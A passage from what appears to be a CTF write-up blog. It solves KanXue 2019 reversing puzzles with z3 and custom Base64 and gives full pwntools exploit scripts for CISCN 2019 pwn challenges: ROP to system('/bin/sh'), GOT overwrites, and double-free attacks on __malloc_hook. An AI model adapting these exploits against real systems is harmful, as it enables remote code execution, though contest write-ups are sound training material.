+ 223 * (v20 + v23)
+ 253 * v22
+ 156 * v21
+ v19
+ 211 * v18
+ 174 * (v9 + v17)
+ 186 * v16
+ 170 * v15
+ 74 * v14
+ 159 * v13
+ 65 * v12
+ 113 * v11
+ 227 * v10
+ 149 * v8
+ 128 * v7
+ 183 * v6
+ 184 * v5
+ 22 * v4
+ 41 * (v28 + v2)
+ 31 * v3 == 425203)

s.add(113 * v33
+ 13 * v32
+ 243 * v31
+ 198 * v30
+ 118 * v29
+ 105 * (v11 + v28)
+ 27 * v27
+ 186 * v26
+ 212 * v25
+ 142 * v24
+ 170 * v23
+ 10 * (v7 + v22)
+ 140 * (v18 + v21)
+ 197 * v20
+ 181 * v19
+ 75 * v17
+ 208 * v16
+ 155 * v15
+ 46 * v14
+ 43 * v13
+ 3 * v12
+ 239 * v10
+ 99 * v9
+ 145 * v8
+ 242 * v6
+ 155 * v5
+ 237 * v4
+ 39 * v3
+ 82 * v2 == 372162)

s.add(6 * v33
+ 87 * (v9 + v31)
+ 45 * v32
+ 3 * v30
+ 19 * v29
+ 94 * v28
+ 159 * v26
+ 229 * v25
+ 76 * v24
+ 199 * v23
+ 139 * v22
+ 36 * v21
+ 240 * v20
+ 72 * v19
+ 68 * v18
+ 185 * v17
+ 202 * v16
+ 96 * v15
+ 40 * v14
+ 180 * v13
+ 63 * v12
+ 17 * v11
+ 7 * v10
+ 91 * v8
+ 58 * v7
+ 127 * v6
+ 207 * v5
+ 206 * v4
+ 136 * (v27 + v2)
+ 50 * v3 == 297509)

s.add(184 * v33
+ 153 * v32
+ 245 * v31
+ 235 * (v12 + v28)
+ v30
+ 108 * v29
+ 144 * v27
+ 221 * v26
+ 200 * v25
+ 35 * v24
+ 138 * v23
+ 38 * v22
+ 172 * v21
+ 9 * v20
+ 123 * v19
+ 63 * v18
+ 218 * v17
+ 204 * v16
+ 76 * v15
+ 114 * v14
+ 149 * v13
+ 202 * v11
+ 74 * v10
+ 83 * v9
+ 87 * v8
+ 166 * v7
+ 40 * v6
+ 115 * v5
+ 215 * v4
+ 12 * v3
+ 90 * v2 == 372215)

s.add(143 * v33
+ 248 * v32
+ 224 * v31
+ 28 * v30
+ 122 * v29
+ 144 * v28
+ 12 * v27
+ 85 * (v15 + v25)
+ 196 * v26
+ 77 * v24
+ 150 * v23
+ 179 * v22
+ 240 * v21
+ 225 * v20
+ 62 * v19
+ 142 * v18
+ 187 * v17
+ 190 * v16
+ 94 * v14
+ 3 * v13
+ 61 * v12
+ 116 * v11
+ 81 * v10
+ 231 * v9
+ 84 * v8
+ 180 * v7
+ 55 * v6
+ 123 * v5
+ 190 * v4
+ 36 * v3
+ 114 * v2 == 370337)

s.add(91 * v33
+ 204 * v32
+ 201 * v31
+ 7 * v30
+ 158 * (v17 + v28)
+ 103 * v29
+ 95 * v27
+ 76 * v26
+ 189 * v25
+ 32 * v24
+ 70 * v23
+ 74 * v22
+ 116 * v21
+ 80 * v20
+ 191 * v19
+ 14 * v18
+ 30 * (v10 + v16)
+ 176 * v14
+ 213 * v13
+ 13 * v12
+ 241 * v11
+ 65 * v9
+ 154 * v8
+ 224 * v7
+ 40 * v6
+ 2 * v5
+ 202 * v4
+ 122 * (v15 + v3)
+ 190 * v2 == 314564)

s.add(44 * v33
+ 88 * v32
+ 66 * v31
+ 248 * v30
+ 160 * v29
+ 118 * v28
+ 31 * v27
+ 83 * (v20 + v25)
+ 27 * v26
+ 115 * v24
+ 30 * v23
+ 67 * v22
+ 162 * v21
+ 202 * v19
+ 205 * v18
+ 89 * v17
+ 110 * v16
+ 199 * v15
+ 158 * v14
+ 14 * v13
+ 253 * v12
+ 95 * v11
+ 75 * v10
+ 101 * v9
+ 155 * v8
+ 165 * v7
+ 223 * v6
+ 42 * v5
+ 154 * v4
+ 176 * v3
+ 5 * v2 ==325974)

s.add(65 * v33
+ 72 * (v6 + v32)
+ 111 * v31
+ 207 * v30
+ 29 * (v11 + v29)
+ 208 * (v18 + v27)
+ 5 * v28
+ 163 * v26
+ 123 * v25
+ 38 * v24
+ 34 * v23
+ 35 * v22
+ 114 * v21
+ 140 * v19
+ 150 * v17
+ 10 * v16
+ 180 * v15
+ 185 * v14
+ 235 * v13
+ 62 * v12
+ 146 * v10
+ 41 * v9
+ 243 * v8
+ 160 * v7
+ 34 * v5
+ 168 * v4
+ 125 * (v20 + v2)
+ 84 * v3 == 307088)

s.add(188 * v33
+ 243 * v32
+ 21 * (v12 + v31)
+ 127 * v30
+ 155 * v29
+ 26 * (v6 + v28)
+ 97 * (v20 + v27)
+ 177 * v26
+ 167 * v25
+ 78 * v24
+ 152 * v23
+ 162 * v22
+ 7 * v21
+ 178 * v19
+ 171 * v18
+ 16 * v17
+ 67 * v16
+ 213 * v15
+ 253 * v14
+ 116 * v13
+ 100 * v11
+ 32 * v10
+ 128 * v9
+ 44 * v8
+ 175 * v7
+ 18 * v5
+ 11 * v4
+ 197 * v3
+ 140 * v2 == 322340)

s.add(113 * v33
+ 252 * v32
+ 193 * v30
+ 90 * v29
+ 242 * v28
+ 138 * v27
+ 193 * v26
+ 183 * v25
+ 127 * (v21 + v23)
+ 244 * v24
+ 156 * v22
+ 233 * v20
+ 162 * v19
+ 89 * v18
+ 184 * v17
+ 91 * v16
+ 34 * v15
+ 51 * v14
+ 166 * v13
+ 179 * v12
+ 47 * v11
+ 9 * v10
+ 113 * v9
+ 72 * v8
+ 208 * v7
+ 164 * v6
+ 140 * v5
+ 110 * v4
+ 7 * (v31 + v3)
+ 152 * v2 == 380716)

s.add(244 * v33
+ 196 * v32
+ 30 * v31
+ 100 * v30
+ 168 * v29
+ 7 * v28
+ 249 * v27
+ 84 * v26
+ 252*v25
+ 171 * v24
+ 210 * v23
+ 206 * v22
+ 108 * v21
+ 153 * v20
+ 67 * v19
+ 189 * v18
+ 141 * v17
+ 239 * v16
+ 177 * v15
+ 10 * v14
+ 15 * v13
+ 164 * v12
+ 142 * v11
+ 97 * v10
+ 27 * v9
+ 173 * v8
+ 146 * v7
+ 133 * v5
+ 105 * v4
+ 75 * (v6 + v3)
+ 197 * v2 == 393331 )

s.add(185 * v33
+ 196 * v32
+ 135 * v31
+ 218 * (v14 + v29)
+ 241 * v30
+ 210 * v28
+ 127 * v27
+ 221 * v26
+ 47 * v25
+ 179 * v24
+ 61 * v23
+ 59 * v22
+ 197 * v21
+ 204 * v20
+ 198 * v19
+ 75 * v18
+ 146 * v17
+ 156 * v16
+ 235 * v15
+ 63 * v13
+ 220 * v12
+ 3 * v11
+ 167 * v10
+ 230 * v9
+ 69 * v8
+ 186 * v7
+ 57 * v6
+ 147 * v5
+ 221 * v4
+ 79 * v3
+ 53 * v2== 430295)

print(s.check())
m = s.model()
print(m)

if STEP4:
vec ={"v28": 117,
"v12" : 95,
"v21" : 48,
"v2" : 51,
"v10" : 109,
"v20" : 99,
"v3" : 51,
"v29" : 115,
"v15" : 116,
"v30" : 51,
"v23" : 101,
"v32" : 117,
"v19" : 95,
"v7" : 51,
"v4" : 48,
"v11" : 101,
"v5" : 83,
"v9" : 105,
"v16" : 116,
"v24" : 95,
"v26" : 115,
"v18" : 101,
"v33" : 108,
"v6" : 109,
"v25" : 49,
"v31" : 102,
"v22" : 100,
"v8" : 116,
"v17" : 49,
"v27" : 95,
"v13" : 108,
"v14" : 49}

transform={
2 : 0x1E,
3 : 0x1F,
4 : 0x01,
5 : 0x00,
6 : 0x02,
7 : 0x03,
8 : 0x04,
9 : 0x05,
10 : 0x06,
11 : 0x07,
12 : 0x08,
13 : 0x09,
14 : 0x0A,
15 : 0x0B,
16 : 0x0C,
17 : 0x0D,
18 : 0x0E,
19 : 0x0F,
20 : 0x10,
21 : 0x11,
22 : 0x12,
23 : 0x13,
24 : 0x14,
25 : 0x15,
26 : 0x16,
27 : 0x17,
28 : 0x18,
29 : 0x19,
30 : 0x1A,
31 : 0x1B,
32 : 0x1C,
33 : 0x1D}

re = dict(zip(transform.values(), transform.keys()))

xor_key = [0x18,0x09,0x03,0x6B,0x01,0x5A,0x32,0x57,0x30,0x5D,0x40,0x46,0x2B,0x46,0x56,0x3D,
0x02,0x43,0x17,0x00,0x32,0x53,0x1F,0x26,0x2A,0x01,0x00,0x10,0x10,0x1E,0x40,0x00]
# print(len(xor_key))
# print(xor_key[0x1E])
flag=""
for i in range(32):
name = "v"+str(re[i])
# print()
# print(chr(vec[name]^xor_key[i]))
flag+=(chr(vec[name]^xor_key[i]))
print(flag)
# K9nXu3_2o1q2_w3bassembly_r3vers3

6-消失的岛屿 ✅

变异换表Base64
因为Base64是一个字节替换类型的变换,所以直接写逆算法即可解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import base64
import string

str1 = "tuvwxTUlmnopqrs7YZabcdefghij8yz0123456VWXkABCDEFGHIJKLMNOPQRS9+/"
str2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

def encrypt():
cipher = "!NGV%,$h1f4S3%2P(hkQ94=="
plain = ""
for i in range(len(cipher)):
for byte in range(0x20,0x7F):
tmp = ""
if byte>0x40 and byte<=0x5A:
tmp = chr(0x9B-byte)
elif byte>0x60 and byte<=0x7A:
tmp = chr(byte-0x40)
elif byte>0x2F and byte<=0x39:
tmp = chr(byte+0x32)
elif byte==0x2B:
tmp = 'w'
elif byte==0x2F:
tmp = 'y'
elif byte==0x3d:
tmp = "="
if tmp==cipher[i]:
plain += chr(byte)
break
return plain

flagg = encrypt()
#print(flagg)

flagg = flagg.translate(string.maketrans(str1,str2))
#print(flagg)

print base64.b64decode(flagg)
#KanXue2019ctf_st

膜拜一发风神优雅的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64
import binascii
import string


def test():
old_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
new_chars = 'tuvwxTUlmnopqrs7YZabcdefghij8yz0123456VWXkABCDEFGHIJKLMNOPQRS9+/'
chars_map = ['']*256
for i in range(len(new_chars)):
v = ord(new_chars[i])
if 0x41 <= v <= 0x5A:
v = 0x9B - v
elif 0x61 <= v <= 0x7A:
v = v - 0x40
elif 0x30 <= v <= 0x39:
v = v + 0x32
elif v == 0x2B:
v = 0x77
elif v == 0x2F:
v = 0x79
chars_map[v] = new_chars[i]
s = '!NGV%,$h1f4S3%2P(hkQ94=='
b64 = ''
for i in range(len(s)):
b64 += chars_map[ord(s[i])]
b64 += '=='
print binascii.a2b_base64(b64.translate(string.maketrans(new_chars, old_chars)))
return

test()

2019 CISCN 华中区域赛

pwn2,pwn7当时不会做,没做出来 pwn3 时间差10分钟没有交上 pwn8 arm的题没见过

所以最后就是5道题交差

pwn1-Emachine ✅

image-20251122090328336

直接栈溢出 做ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys
r = lambda :io.recv()
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x)
rld = lambda: io.recvline(keepends = False)
rufd = lambda x:io.recvuntil(x,drop=False)
rud = lambda x:io.recvuntil(x,drop=True)
rl = lambda :io.recvline()
se = lambda x:io.send(x)
sel = lambda x:io.sendline(x)
sea = lambda x:io.sendafter(x)
sela = lambda x:io.sendlineafter(x)
def en(payload):
ru('Input your choice!\n')
sel(str(1))
ru('Input your Plaintext to be encrypted')
sel(payload)

def de(payload):

dede = ""
for byte in payload:

if ord(byte) > 96 and ord(byte) <=122:
dede+=chr(ord(byte)^0xD)

if ord(byte) <= 64 and ord(byte) >90:
dede+=chr(ord(byte)^0xE)

if ord(byte) >47 and ord(byte) <=57:
dede+=chr(ord(byte)^0xF)

return dede

def z(order=[]):
command = ''
for item in order:
command += str(item)+'\n'
log.info('gdb command:\n'+command)
gdb.attach(io,command)
def exploit(flag):

payload = 'a'*0x58

print de(payload)

en(de(payload)+p64(0x400c83)+p64(0x602020)+p64(elf.plt['puts'])+p64(0x400B28))

#z(['b *0x400AED'])
ru('Ciphertext\n')
ru('\n')
libc.address = u64(rn(6).ljust(0x8,'\x00'))-0x6f690
system = libc.sym['system']
log.info('system:'+hex(system))
binsh = next(libc.search('/bin/sh'))
log.info('binsh:'+hex(binsh))

en(de(payload)+p64(0x400c83)+p64(binsh)+p64(system))
io.interactive()
if __name__ == '__main__':
context.binary = './Emachine'
context.terminal = ['tmux','sp','-h','-l','115']
context.log_level = 'debug'
elf = ELF('./Emachine')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
exploit(0)
else:
io = process('./Emachine')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
exploit(1)

pwn2-babycalc ❌

Binary 实现了一个简单的Calculator,通过三个位于.bss段上的全局变量操作计算器进行运算

1
2
3
cache = malloc(0x21000uLL);
control = malloc(0x100uLL);
res = dword_6021B8;

其中cache储存每一次的计算结果,control负责控制程序流程,引导进行add,sub,div,mul等操作 res负责储存上次结果和本次结果

通过在.bss段上的func_list,与加减乘除四种操作的操作顺序共同完成计算器的功能 下面是func_list:

1
2
3
4
5
6
7
8
9
.data:00000000006020E0 func_list       dq 0                    ; DATA XREF: op+4E↑r
.data:00000000006020E8 dq offset write_back
.data:00000000006020F0 dq offset get_value
.data:00000000006020F8 dq offset ADD_operation
.data:0000000000602100 dq offset SUB_operation
.data:0000000000602108 dq offset DIV_operation
.data:0000000000602110 dq offset initial_space
.data:0000000000602118 dq offset MUL_operation
.data:0000000000602118 _data ends

add的五步操作为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
case '+':
*(_DWORD *)STRUC = 0x20100;
STRUC += 4LL;
__isoc99_sscanf(&unk_6020C0, "%c", &v5);
*(_DWORD *)STRUC = v5 + 0x60000;
STRUC += 4LL;
*(_DWORD *)STRUC = 0x30100; // pos
STRUC += 4LL;
*(_DWORD *)STRUC = 0x20000;
STRUC += 4LL;
*(_DWORD *)STRUC = 0x10100;
STRUC += 4LL;
steps = (STRUC - (signed __int64)struc) >> 2;
break;

在进行运算时,分别进行五步操作,以STRUC(control)里的内容为控制跳转和参数,0x20100 即运行get_value(0x0,0x1)

1
2
3
4
5
6
7
8
9
10
11
for ( i = 0; ; ++i )
{
result = (unsigned int)steps;
if ( i >= steps )
break;
v0 = *(_DWORD *)(4LL * i + STRUC);
((void (__fastcall *)(_QWORD, _QWORD))func_list[*(_DWORD *)(4LL * i + STRUC) >> 16])(
BYTE1(v0),
(unsigned __int8)*(_DWORD *)(4LL * i + STRUC));
}
return result;

综合下来,五步操作十分类似CPU运行一条指令的五个步骤:

1
取值get_value->译码initial_space->执行operation->取值get_value->写回write_back

上述是对babycalc逆向的过程,漏洞点有点隐蔽,在输入folumla长度的判断上:

1
2
3
4
5
6
7
8
9
10
11
12
13
if ( (unsigned int)size <= 0x30 )
{
memset(formula, 0, 0x30uLL);
puts("Input formula to calc:");
for ( i = 0; size - 1 >= i; ++i ) // overflow
{
read(0, (void *)((signed int)i + 0x602160LL), 1uLL);
if ( formula[i] == '\n' )
{
size = i + 1;
break;
}
}

当size为0时,size-1<0,可以无限制输入,实现在.bss段上的无限长写 利用的思路就是通过程序中提供的写操作,将free写成puts实现泄露 再将malloc写成one_gadget拿到shell.

至于为什么是写malloc,经过尝试了很多,只有在malloc这里,onegadget成功了

当然肯定有劫持的其他方法,因为.bss段的无限制写使我们可以控制babycalc控制运算的三个全局变量,只是构造有些繁琐,就取巧了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context.terminal = ['tmux','sp','-h','-l','137']

p = process('./babycalc')
elf = ELF('./babycalc')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def z(order=[]):
command = ''
for item in order:
command += str(item)+'\n'
log.info('gdb command:\n'+command)
gdb.attach(io,command)

def calc(size,formula):
p.recvuntil('Input the size of your formula:\n')
p.sendline(str(size))
p.recvuntil('Input formula to calc:\n')
p.send(formula)
# calc(5,"10+20")

# overflow to leaking libc
payload = "{0}.0".format(elf.plt['puts'])
payload = payload.ljust(0x30,'\x00')
payload += p64(elf.got['free'])
payload += p64(0)
payload += p64(elf.got['puts'])
calc(0,payload+'\n')

p.recvuntil('Invalid input ..\n')
p.recvuntil('Invalid input ..\n')
libc.address = u64(p.recvuntil('\n',drop=True).ljust(0x8,'\x00')) - libc.sym['puts']

one = libc.address+0x45216
#one = libc.address+0x4526a
#one = libc.address+0xf02a4
#one = libc.address+0xf1147

log.info('one:'+hex(one))
system = libc.sym['system']
log.info('system:'+hex(system))
binsh = next(libc.search('/bin/sh'))
log.info('binsh:'+hex(binsh))

# gdb.attach(p,'b *0x400D9D\n b*0x400C29\n b*0x400C67')
# problem
formula = "{0}+{1}".format(str(one&0xffffffff),str((one>>32)&0xffffffff))
payload = formula
payload = payload.ljust(0x30,'\x00')
payload += p64(elf.got["malloc"])+p64(0)
calc(0,payload+'\n')

p.interactive()

pwn3-weapon ✅

常规的double free劫持__malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys

r = lambda :io.recv()
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x)
rld = lambda: io.recvline(keepends = False)
rufd = lambda x:io.recvuntil(x,drop=False)
rud = lambda x:io.recvuntil(x,drop=True)
rl = lambda :io.recvline()
se = lambda x:io.send(x)
sel = lambda x:io.sendline(x)
sea = lambda x:io.sendafter(x)
sela = lambda x:io.sendlineafter(x)

def create(size,name):
ru("Command: \n")
sel(str(1))
ru('size: ')
sel(str(size))
ru('Give me the name: \n')
se(name)

def show(index):
ru("Command: \n")
sel(str(2))
ru('index: \n')
sel(str(index))

def fight(index):
ru("Command: \n")
sel(str(3))
ru('weapon:\n')
sel(str(index))

def bookdoor(index):
ru("Command: \n")
sel(str(666))
ru("weapon:\n")
sel(str(index))

def exploit(flag):
create(0x100,'0'*0xd0+p64(0)+p64(0x61)+'\n')
create(0x60,'1'*0x50+'\n')
create(0x60,'2'*0x50+'\n')
fight(1)
fight(0)
show(0)
ru('attack_times: ')
libc.address = int(rud('\n'),10)-0x3c4b78
log.info('libc.address:'+hex(libc.address))
__malloc_hook = libc.sym['__malloc_hook']

one = libc.address+0xf02a4

create(0x4f,'3'*0x10+'\n')
create(0x4f,'4'*0x10+'\n')
fight(4)
fight(3)

for i in range((0xf0-0x60)/2):
bookdoor(3)

z(['b *'+hex(proc_base+0x129D)])
create(0x4f,'3'*0x10+'\n')
create(0x4f,1*p64(0x0)+p64(0x70)+p64(__malloc_hook-0x23)+'\n')

create(0x60,'\n')
create(0x60,0x3*'\x00'+p64(one)+'\n')
fight(2)
fight(2)
io.interactive()

if __name__ == '__main__':
context.binary = './pwn3'
context.terminal = ['tmux','sp','-h','-l','115']
context.log_level = 'debug'
elf = ELF('./pwn3')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
libc=ELF('./libc-2.23.so')
exploit(0)
else:
io = process('./pwn3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print io.libs()
proc_base = io.libs()['/ctf/work/CTFPro/2019/ciscn2019-area/PWN/pwn3/pwn3']
log.info('proc_base:'+hex(proc_base))
libc_base= io.libs()['/lib/x86_64-linux-gnu/libc-2.23.so']
log.info('libc_base:'+hex(libc_base))
exploit(1)

pwn4-pwngril ✅

溢出,通过scanf("%d",&a) 输入”+”绕过T,不写入任何值,进而泄露canary,之后ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys


r = lambda :io.recv()
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x)
rld = lambda: io.recvline(keepends = False)
rufd = lambda x:io.recvuntil(x,drop=False)
rud = lambda x:io.recvuntil(x,drop=True)
rl = lambda :io.recvline()
se = lambda x:io.send(x)
sel = lambda x:io.sendline(x)
sea = lambda x:io.sendafter(x)
sela = lambda x:io.sendlineafter(x)


def z(order=[]):
command = ''
for item in order:
command += str(item)+'\n'
log.info('gdb command:\n'+command)
gdb.attach(io,command)

def exploit(flag):
ru("do you would to sort your girlfriends?[Y/N/@]")
se('@')
ru('please answer the question1:\n')
se('^')
ru('please answer the question2:')
se('^')

ru('please input your name:')
se('a'*0x10)

ru('how many girlfriends do you have?\n')
sel(str(12))

for i in range(10):
ru("girlfriends:")
sel(str("1"))
ru("girlfriends:")
sel(str("+"))
ru("girlfriends:")
sel(str("+"))

ru('this is the sort result:')
res = []


for i in range(12):
num = int(rud(" "),10)
if num!=1:
res.append(num)

print res
num1 = 0
num2 = 0
num1 = res[0]
num2 = res[1]
if num1<0:
num1 = num1+0x100000000
if num2<0:
num2 = num2+0x100000000

print hex(num1)
print hex(num2)

canary =0

if hex(num1).endswith("00"):
canary = num1+(num2<<32)

if hex(num2).endswith("00"):
canary = num2+(num1<<32)
print hex(canary)

ru('you can change your girlfriend\n')
sel(str(0))

ru('which girlfriend do you want to change?')
sel(str(27))

for i in range(10):
ru('now change:\n')
sel(str(1))

ru('now change:\n')
sel(str(canary&0xffffffff))
ru('now change:\n')
sel(str((canary>>32)&0xffffffff))

for i in range(2):
ru('now change:\n')
sel(str(0))

ru('now change:\n')
sel(str(0x400d93))
ru('now change:\n')
sel(str(0x00))

ru('now change:\n')
sel(str(elf.got['puts']))
ru('now change:\n')
sel(str(0x00))

ru('now change:\n')
sel(str(elf.plt['puts']))
ru('now change:\n')
sel(str(0x00))

ru('now change:\n')
sel(str(0x400895))
ru('now change:\n')
sel(str(0x00))

for i in range(5):
ru('now change:\n')
sel(str(0x0))

libc.address = u64(rn(6).ljust(0x8,'\x00')) -0x6f690
log.info('libc.address:'+hex(libc.address))
system = libc.sym['system']
log.info('system:'+hex(system))
binsh = next(libc.search('/bin/sh'))
log.info('binsh:'+hex(binsh))

ru('how many girlfriends do you have?\n')
sel(str(12))

for i in range(10):
ru("girlfriends:")
sel(str("1"))
ru("girlfriends:")
sel(str("+"))
ru("girlfriends:")
sel(str("+"))

ru('this is the sort result:')
res = []

for i in range(12):
num = int(rud(" "),10)
if num!=1:
res.append(num)
print res
num1 = 0
num2 = 0
num1 = res[0]
num2 = res[1]
if num1<0:
num1 = num1+0x100000000
if num2<0:
num2 = num2+0x100000000

print hex(num1)
print hex(num2)

canary =0

if hex(num1).endswith("00"):
canary = num1+(num2<<32)

if hex(num2).endswith("00"):
canary = num2+(num1<<32)


print hex(canary)

ru('you can change your girlfriend\n')
sel(str(0))

ru('which girlfriend do you want to change?')
sel(str(27))

for i in range(10):
ru('now change:\n')
sel(str(1))

ru('now change:\n')
sel(str(canary&0xffffffff))
ru('now change:\n')
sel(str((canary>>32)&0xffffffff))

for i in range(2):
ru('now change:\n')
sel(str(0))

ru('now change:\n')
sel(str(0x400d93))
ru('now change:\n')
sel(str(0x00))

ru('now change:\n')
sel(str(binsh&0xffffffff))
ru('now change:\n')
sel(str((binsh>>32)&0xffffffff))

ru('now change:\n')
sel(str(system&0xffffffff))
ru('now change:\n')
sel(str((system>>32)&0xffffffff))

ru('now change:\n')
sel(str(0x400895))
ru('now change:\n')
sel(str(0x00))

for i in range(5):
ru('now change:\n')
sel(str(0x0))

io.interactive()

if __name__ == '__main__':
context.binary = './pwn4'
context.terminal = ['tmux','sp','-h','-l','115']
context.log_level = 'debug'
elf = ELF('./pwn4')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
exploit(0)
else:
io = process('./pwn4')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
exploit(1)

pwn5-magic heap ✅

没有泄露,但是在delete函数中可以造成double free 通过修改topchunk,写入__malloc_hook进而Getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys


r = lambda :io.recv()
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x)
rld = lambda: io.recvline(keepends = False)
rufd = lambda x:io.recvuntil(x,drop=False)
rud = lambda x:io.recvuntil(x,drop=True)
rl = lambda :io.recvline()
se = lambda x:io.send(x)
sel = lambda x:io.sendline(x)
sea = lambda x:io.sendafter(x)
sela = lambda x:io.sendlineafter(x)


def add(size,content):
ru('Input your choice:')
sel(str(1))
ru("Please input the size of story: \n")
sel(str(size))
ru('please inpute the story: ')
se(content)

def delete(index):
ru('Input your choice:')
sel(str(4))
ru('Please input the index:\n')
sel(str(index))

def z(order=[]):
command = ''
for item in order:
command += str(item)+'\n'
log.info('gdb command:\n'+command)
gdb.attach(io,command)

def exploit(flag):
ru("What's your name?")
se('8'*0x20)
ru("Please input your ID.")
se('1'*0x8)
ru('1'*0x8)

libc.address = u64(rn(6).ljust(0x8,'\x00'))-0x78439
log.info('libc.address:'+hex(libc.address))

__malloc_hook = libc.sym['__malloc_hook']
log.info('__malloc_hook:'+hex(__malloc_hook))
one = libc.address+0xf02a4
log.info('one:'+hex(one))

add(0x38,'0'*0x38)
add(0x38,'1'*0x38)
delete(0)
delete(1)
delete(0)
add(0x38,p64(0x51))
add(0x38,'3'*0x38)
add(0x38,'4'*0x38)

add(0x48,'5'*0x38)
add(0x48,'6'*0x38)
delete(5)
delete(6)
delete(5)
add(0x48,p64(libc.address+0x3c4b30))
add(0x48,'\n')
# z(['b *'+hex(proc_base+0xE88)])
add(0x48,'\n')
add(0x48,7*p64(0)+p64(__malloc_hook-0x23))

add(0x20,'\x00'*0x13+p64(one))
delete(3)
delete(3)

io.interactive()

if __name__ == '__main__':
context.binary = './magicheap'
context.terminal = ['tmux','sp','-h','-l','115']
context.log_level = 'debug'
elf = ELF('./magicheap')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
libc=ELF('./libc-2.23.so')
exploit(0)
else:
io = process('./magicheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print io.libs()
proc_base = io.libs()['/ctf/work/CTFPro/2019/ciscn2019-area/PWN/magicheap/magicheap']
log.info('proc_base:'+hex(proc_base))
libc_base= io.libs()['/lib/x86_64-linux-gnu/libc-2.23.so']
log.info('libc_base:'+hex(libc_base))
exploit(1)

pwn6-library ✅

不解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
# p=process(['./library-p1'],env={'LD_PRELOAD':'./libc.so.6'})
p = remote("172.29.41.115", 8888)
context.log_level = 'debug'
libc=ELF('./libc.so.6')
def cal(cipher):
key=[61, 73, 83, 97, 109, 113, 127, 131, 137, 139, 149, 151, 167, 179, 193, 199, 211, 223, 229]
keyposs=[[] for i in range(4)]
for i in range(0xa3):
ciphermid=cipher+(i<<32)
for j in range(4):
for k in key:
if ciphermid % k == 0:
ciphermid=ciphermid//k
break
if ciphermid in range(64,263):
cipher=ciphermid
break
return cipher

def new(a,b):
p.writeline('1')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('the book:')
p.writeline(b)
p.readuntil('>>')
def dele(a):
p.writeline('4')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('>>')
def edit(a,b):
p.writeline('2')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('new name of the book:')
p.writeline(b)
p.readuntil('>>')
#context(log_level='debug')
#gdb.attach(p)
for i in range(4):
cipher=p.recv()[:-1]
cipher=int(cipher,16)
